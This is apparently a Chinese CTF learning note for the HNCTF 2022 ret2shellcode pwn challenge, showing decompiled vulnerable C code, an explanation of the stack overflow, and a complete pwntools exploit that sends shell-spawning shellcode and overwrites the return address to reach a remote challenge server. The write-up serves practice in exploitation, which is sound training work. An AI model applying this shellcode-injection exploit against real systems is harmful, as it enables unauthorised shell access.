当前位置: 首页 > news >正文

[HNCTF 2022 Week1]ret2shellcode

第一次打CTF——PWN篇学习笔记17

int __fastcall main(int argc, const char **argv, const char **envp) { char s[256]; // [rsp+0h] [rbp-100h] BYREF ​ setbuf(stdin, 0); setbuf(stderr, 0); setbuf(stdout, 0); mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7); memset(s, 0, sizeof(s)); read(0, s, 0x110u); strcpy(buff, s); return 0; }

checksec一下没有特殊的保护机制,程序先把stdout所在的内存页变成可读可写可执行,然后read一下发生栈溢出再将s的内容拷贝到buff中,因此我们可以构造payload使其前部分为没有'\0'的shellcode,接着覆盖返回地址到buff来执行shellcode从而获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./shellcode') io = remote("node5.anna.nssctf.cn",23229) ​ buff = 0x4040A0 ​ shellcode = asm(shellcraft.sh()) ​ payload = shellcode.ljust(0x100 + 8,b'A') + p64(buff) ​ io.sendline(payload) ​ io.interactive()
http://www.cnnetsun.cn/news/136944.html

相关文章:

  • 前端Vue使用js-audio-plugin实现录音功能
  • 测试用例之翻页功能详解
  • 音乐平台歌曲盗版维权全攻略:权利卫士录屏取证+可信时间戳认证实操指南
  • 根据您提供的 package.json 片段,涉及的 @vue/cli-plugin-babel 和 @vue/cli-service 版本为 ~4.2.0。以下是针对该版本的详细解决方案,结合相关依
  • electron-egg打包win7
  • 8种网络故障分析及测试命令大全
  • 新人必看盘点知名CTF练习靶场,从零基础入门到精通,收藏这一篇就够了!
  • Pythonselenium自动化测试实战项目
  • 关于Comtos Linux (朱雀)主体源码的选择
  • 超级Mini小车功能说明
  • STC32G12单片机替换成STC32F12单片机,直接替换的结果
  • SIEMENS 6SL3210-1PE33-0CL0 变频器
  • 软件测试常用的7种方法,最后一个是升职加薪关键!(零基础小白转行IT互联网高效进阶)
  • 【RTOS】EasyLog的移植与使用
  • 在数据库里玩“平行宇宙”:MatrixOne Data Branch 让数据也拥有Git 的分支/合并/对比/回滚(含跨集群同步)
  • 基于单片机的全自动洗衣机系统的设计
  • 5.6 模型部署与智能体集成实战
  • 基于单片机的球赛计分牌的设计
  • ArcGIS Pro 从入门到实战基础篇(10):地图菜单
  • Kotaemon与Redis/Memcached集成:构建高速缓存层
  • 【鸿蒙三方库编译】lycium_plusplus(lycium++)高效完成鸿蒙C/C++编译
  • 2025年度GEO服务商权威甄选指南:技术深度与商业价值的双重考量
  • 收藏备用!Java程序员转AI大模型:从技术沉淀到AI爆发的进阶之路
  • Python 爬虫实战:Session 会话维持爬取需登录内容
  • 基于移相全桥变换器的电池充电仿真模型,采用电压电流双闭环PI控制。 电池先经历CC模式而后进入...
  • 基于COMSOL模拟的水力压裂技术研究:固体力学与达西定理的应用
  • Redis 性能调优(二)
  • Doris 性能调优实践指南(可直接落地)
  • presum|二分try+滑窗cnt
  • Web自动化测试:Unittest单元测试框架